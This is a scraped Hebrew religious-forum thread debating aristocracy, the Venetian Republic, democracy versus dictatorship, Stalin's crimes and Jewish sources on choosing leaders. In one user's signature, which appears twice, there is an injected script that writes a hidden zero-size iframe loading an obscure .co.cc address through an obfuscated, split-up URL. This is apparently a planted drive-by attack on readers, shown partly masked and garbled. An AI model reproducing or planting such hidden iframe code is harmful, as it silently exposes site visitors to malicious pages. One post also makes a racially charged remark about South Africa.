בית פורומים עצור כאן חושבים

כתבה פילוסופית-מדינית

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-6/2/2018 16:55 לינק ישיר 

רצוי להבחין בין אריסטוקרטיה, במובן השלטון הטובים ביותר, לבין מעמד אריסטוקרטי, שפירושו המעמד הגבוה ביותר או מעמד האצולה. רוב הדמוקרטיות הקדומות והרפובליקות שבימי הביניים ואילך היו מבוססות על מעמד אריסטורקטי העובר בירושה. הצלחת מעמד אריסטוקרטי בשמירת השקפה תלויה במוסר ובערכים של אנשיו. לדוגמא, בתור הזהב של הרפובליקה של ונציה משפחות האריסטוקרטיה בחרו מנהיגים ראויים שהקדישו את חייהם לטובת כלל הרפובליקה. מהמאה ה-16 וה-17 ואילך האריסטוקרטיה הונציאנית הלכה ובחרה מנהיגים לא ראויים, רודפי שררה וממון, שדאגו רק לאינטרסים של האריסטוקרטיה או של בוחריהם. כתוצאה מכך הרפובליקה של ונציה הלכה ונהייתה מושחתת וירדה מגדולתה.
 



דדווח על תוכן פוגעני

מחובר
נשלח ב-14/2/2018 23:15 לינק ישיר 


ינוח,


אכן הפילוסופיה של חומייני היייתה מוטעית, אבל איך מסיימים במשטר לא דמוקרטי שלטון "פילוסופי מוטעה"?

בדמוקרטיה, המנהיג לא ייבחר בפעם הבאה. לעומת זאת בדיקטטורות, במקרה הטוב המנהיג יודח (כמעט תמיד באלימות קשה), ובמקרה הפחות טוב, האזרחים נשארים להרבה שנים תקועים עם המשטר השנוא, למרות ניסיונות להחלפה שגם הם אלימים מאוד. אפילו מחאה תמימה, תסתיים במרחץ דמים. כאלו היו כמעט או כל המשטרים הטוטליטריים של המאה ה20.


אגב, במהפכה האסלאמית הוצאו רבים להורג על ידי השלטון החדש. גם בשנים שלאחר מכן המשיכו להוציא להורג בקצב מוגבר על עבירות שונות, כולל נשים שלא הסכימו לכסות את שערותיהן.


רפובליקת ונציה הייתה דמוקרטיה אריסטוקרטית רק במובן שלמשפחות החזקות היה מונופול על השלטון. הגדרתה כ"שלטון הפילוסופים" היה מעליב קשות את הוונציאנים… הרפובליקה התאפיינה בכך ששמה את המסחר מעל כל ערך קיים.

משפחות האצולה בחרו מתוכה את המנהיג הבא, לרוב אדם זקן, כדי שלא ישלוט זמן רב. אך כפי שציים מם80, לאחר תקופה, החלו לבחור מנהיג שישרת רק את האינטרסים של האריסטוקרטיה או של הבוחרים, ולא את של הציבור הרחב, מה שממחיש את הצורך בזכות בחירה לכול.


הרמב"ם נולד בספרד, ונמלט ממנה עם משפחתו בילדותו לצפון אפריקה ומשם לארץ ישראל, והשתקע במצרים. כל המדינות שבהן עבר היו דיקטטוריות. הוא כמובן לא הכיר את הרפובליקה הוונציאנית, בניגוד לאברבנאל שאף נפטר בה לאחר שהוזמן לפשר בסכסוך מקומי.


אם אתה בדווקא מחפש את המדינות הראשונות שהכירו בהיטלר, אז תוכל למצוא אותן בספרד ואיטליה הפשיסטיות שממש "הלכו לאורו" של הצורר. מספר שנים לאחריהן צ'מברליין חתם על חוזה עם גרמניה, שבה רק הסכימו להחזרת שטחים שרוב אזרחיהן גרמנים, ולאחריה חתמו על הסכם שלא יילחמו זה כנגד זה.


"רעב תפוחי האדמה" באירלנד נגרם - כפי ששמו מרמז - מפגיעה קשה ביבול תפוחי האדמה שהיה הגידול החקלאי העיקרי במדינה. גם הרעב בבנגל (שהשלטון בה היה קולוניאליסטי ולא דמוקרטי) בעיצומה של מלחמת העולם השניה, נגרם כתוצאה מגורמים שונים. אכן, הממשלה הבריטית כשלה בשני המקרים בטיפולה, ויש לה אחריות לנעשה. אבל לדמות את סטלין שמדיניותו בלבד הרעיבה את אוקראינה שהייתה "אסם התבואה" של אירופה, ואף הורה לרצוח חלק מאזרחיה, לצ'רצ'יל, פשוט מגוחכת. "שמש העמים" אף נודע כאחד מגדולי המרצחים של כל הזמנים, בשנים 1936-1339 ביצע טיהורים נרחבים בברית המועצות, ובמסגרתה הורה לרצוח כמעט את כל חברי מפלגתו, וחלק גדול מהאינטלגנציה וראשי הצבא - בסה"כ כמיליון איש רק באותן שנים.

סטלין לא "החזיר את מה שהיה רוסי". ממש לא. הרוסים באותן מדינות היו מיעוט קטן עד קטן מאוד.


ולסיום, בעיני הקטע החשוב בתגובתך היא מה שציינת כי  "איני עוסק במחקרים היסטוריים היקפים, זה לא הנושא שלי כאן."

את חוקרי מדעי המדינה זה בהחלט הנושא, בפרט ההיסטוריה הפוליטית של העת החדשה. מחקרם אינו מתבסס על בחירה סלקטיבית ומותאמת של אפיזודות שיתאימו לאג'נדה ספציפית, אלא מחקר כולל של המדינות השונות, דרכי שלטונם, והישגיהם. והמסקנות הן חד משמעיות לטובת הדמוקרטיה הליברלית.







דדווח על תוכן פוגעני

מחובר
נשלח ב-15/2/2018 20:07 לינק ישיר 

ברפובליקה של ונציה הדוג'ה, שהוגדר כראשון בין שווים, לא יכל לפעול ללא המועצה הגדולה, והמועצה הגדולה לא יכלה לפעול ללא הדוג'ה. במהלך הדורות סמכויותיו של הדוג'ה הלכו והוגבלו הן ע"י חוקה והן ע"י מנגנון יועצים, כדברי הפתגם "אכן מת הדוג'ה אבל לא הסיניורה" (הסניורה היתה מעין ממשלה של הרפובליקה). הערכים העיקריים של האריסטוקרטיה הונציאנית היו מסחר ושירות המדינה. במשפחות האריסטוקרטיה הונציאנית היתה  חלוקה ברורה בין אנשים שנועדו מלכתחלה להיות סוחרים ואנשים שמכתחלה נועדו לשרת את המדינה במשרות ציבוריות בכירות. הדברים התקלקלו כשאנשים הראויים למשרות ציבוריות הלכו לעסוק במסחר, וכשאנשים המתאימים למסחר הלכו לעסוק בפוליטיקה. שמא בשנים האחרונות אותו בלבול מתרחש, פחות או יותר, גם בדמוקרטיות המודרניות?

 




דדווח על תוכן פוגעני

מחובר
נשלח ב-16/2/2018 15:22 לינק ישיר 

מם80 כתב:
ברפובליקה של ונציה הדוג'ה, שהוגדר כראשון בין שווים, לא יכל לפעול ללא המועצה הגדולה, והמועצה הגדולה לא יכלה לפעול ללא הדוג'ה. במהלך הדורות סמכויותיו של הדוג'ה הלכו והוגבלו הן ע"י חוקה והן ע"י מנגנון יועצים, כדברי הפתגם "אכן מת הדוג'ה אבל לא הסיניורה" (הסניורה היתה מעין ממשלה של הרפובליקה). הערכים העיקריים של האריסטוקרטיה הונציאנית היו מסחר ושירות המדינה. במשפחות האריסטוקרטיה הונציאנית היתה  חלוקה ברורה בין אנשים שנועדו מלכתחלה להיות סוחרים ואנשים שמכתחלה נועדו לשרת את המדינה במשרות ציבוריות בכירות. הדברים התקלקלו כשאנשים הראויים למשרות ציבוריות הלכו לעסוק במסחר, וכשאנשים המתאימים למסחר הלכו לעסוק בפוליטיקה. שמא בשנים האחרונות אותו בלבול מתרחש, פחות או יותר, גם בדמוקרטיות המודרניות?

 




אינני בקיא כמוך בקורותיה של הרפובליקה הוונציאנית, אך אני יכול לחשוב על שתי חסרונות שנובעים מכך שאנשי מסחר הופכים למנהיגים פוליטיים.


הראשון הוא חוסר כישרון, ידע וניסיון בנושאי המדינה. אנטוניו גרימאני היה סוחר עשיר בוונציה של המאה ה-15 שמונה לפקד על הצי הימי, ובשל חוסר נסיונו, הצי הובס בקרב. קשה לחשוב בימינו על דמוקרטיה שתמנה איש חסר ניסיון צבאי לפקד על יחידה צבאית. דווקא בדיקטטורות ניתן לפעמים לראות את השליט ממנה את בנו הצעיר שחסר כל כישורים צבאיים לתפקיד צבאי בכיר.


החסרון השני הוא שסוחר עשיר ששולט על חלק מהמשק, ייתן עדיפות לאינטרסים של האימפריה העסקית שלו, על פני אלו של המדינה. גם ראשי ממשלה בישראל שהתעשרו או שהואשמו בשחיתות, לא היו טייקונים ששלטו בחברות גדולות במשק הישראלי, כך שניגוד האינטרסים הזה לא ממש קיים. בימינו, מערכת המשפט וגם אמצעי התקשורת מאוד ביקורתיים בנושא.


אדרבה, כניסה של אנשי עסקים לתחום הפוליטי, יכולה לשפר את ההבנה לצורכי העסקים, לקשיים והבירוקרטיה שהם מתמודדים מידי יום ביומו. ברור שההנהגה לא צריכה להתבסס רק על אנשי עסקים, בדיוק כפי שאסור שתורכב רק מיוצאי צבא, אלא שילוב מאוזן של אנשים טובים מתחומים שונים.





דדווח על תוכן פוגעני

מחובר
נשלח ב-17/2/2018 19:05 לינק ישיר 

ואתה תחזה מכל העם אנשי חיל אנשי אמת שונאי בצע וכו'.

פירש רש"י:
אנשי חיל - עשירים, שאין צריכים להחניף ולהכיר פנים (להבדיל מהמשתוקקים להיות עשירים או הקמצנים, שהשררה עלולה להשחיתם)
אנשי אמת - אלו בעלי הבטחה שהם כדאי לסמוך על דבריהם, שע"י כך יהיו דבריהם נשמעים (להבדיל מרודפי שררה, שלא מקיימים הבטחות ולכן לא ראוי לסמוך על דבריהם)
שונאי בצע - ששונאין את ממונם בדין (להבדיל מרודפי ממון שאוהבים את ממונם)



תוקן על ידי מם80 ב- 17/02/2018 19:16:45




דדווח על תוכן פוגעני

מחובר
נשלח ב-18/5/2018 18:54 לינק ישיר 

תלמיד_חבר כתב:

איך מסיימים במשטר לא דמוקרטי שלטון "פילוסופי מוטעה"?



להבדיל, בסנהדרין התחלפו חברים, תברר נא במחקרים איך.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-18/5/2018 18:59 לינק ישיר 

מיימוני כתב:
נראה לי שאם יש לך טעות, הריהי באידיאלים המרוממים שלך. המציאות העגומה היא שבני אדם ומנהיגים כאחד אינם כפי שהתיאוריות הפילוסופיות מתארות אותם... (אני יכול לומר זאת גם לגבי עצמי).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



אין מי שלא יחטא. ואילו לחתור לאמת זה דבר תמידי ולא נגמר.
האדם מחפש את אמת שלו אישית ובמסגרת העם. ככה הוא בנוי.
חיפוש השקפת האמת זה פילוסופיה בהגדרה.
לשמור על העם זה לשמור על השקפתו, כי מיוחדות, סגולת העם היא בהשקפתו קודם כול.
מצד שני, ההשקפה דורשת פיתוחה תמידי.
אם השקפה משתנה באופן עקרוני, זה אומר שעם אחר בעצם הופיע, אפילו עם אותה שפה ושטח.

בקיצר, הנהגה השקפתית היא חיונית, אם העם רוצה להישאר אותו עם. ולא רוצה להתחלף ברוב קולות בעם אחר.


_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-21/5/2018 00:27 לינק ישיר 

תלמיד_חבר כתב:

בדמוקרטיה, המנהיג לא ייבחר בפעם הבאה.



בדרום אפריקה, איבד "העם הלבן" את השלטון במדינתו בדביקות לדמוקרטיה,  באריתמטיקהברוב קולות.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-23/5/2018 10:01 לינק ישיר 

ינוח

אם הבנתיך אתה טוען שהשקפה מגדירה עם ועל השקפה צריך להגן וזה נעשה בדרך של מחשבה ועימות.

ובכן, התלות של עם בהשקפתו אינה רעיון חדש לגמרי, ודנו בשאלה זו ובגישה זו בימי ראשית ההשכלה וגם אחר כך.

רנ"ק, הוא רבי נחמן קרוכמאל, פילוסוף יהודי אורתודוכסי הגליאני שראוי לסקירה, דווקא סבר שעם ישראל מתפתח ולכן יתכן שגם השקפותיו מתפתחות.

אותו רעיון מצאנו גם אצל הרב קוק.

לפי זה התורה מתבארת והשקפותיה מתעדכנות ומשתדרגות מדור לדור. כמובן, כאשר השקפה תורנית משתנה צריך לבדוק שזה באמת שיפור ולא ירידה וניוון...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-3/6/2018 01:24 לינק ישיר 

מיימוני כתב:
אם הבנתיך אתה טוען שהשקפה מגדירה עם ועל השקפה צריך להגן וזה נעשה בדרך של מחשבה ועימות.

ובכן, התלות של עם בהשקפתו אינה רעיון חדש לגמרי, 

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



לאומים, הייתי אומר, נבדלים באופי חוצפתם, ואילו אמת העם היא על פי השקפתו.
עם זה, אין אמת מוחלטת, רק שאיפה אליה.
מה שאמתי יותר הוא מנצח, כך או כך, במוקדם ובמאוחר.
אז חבל להגן על טעויות בהשקפה, וטעויות יש תמיד.
השאלה היא איך להגן על האמת ולא לטעות בדרך, הרי הדרך היא חלק האמת.

התרשמתי כי מצטייר קונסנסוס אתך בזה. 

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > כתבה פילוסופית-מדינית
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 סך הכל 4 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. בקטגוריית דת ואמונה אתם מוזמים להיכנס ולדון על כל נושא שעולה לכם בקשר לדת היהודית. שו''ת בנושאי הלכה, פרשנות לתורה ולמקרא, גאולה, אחרית הימים ועוד.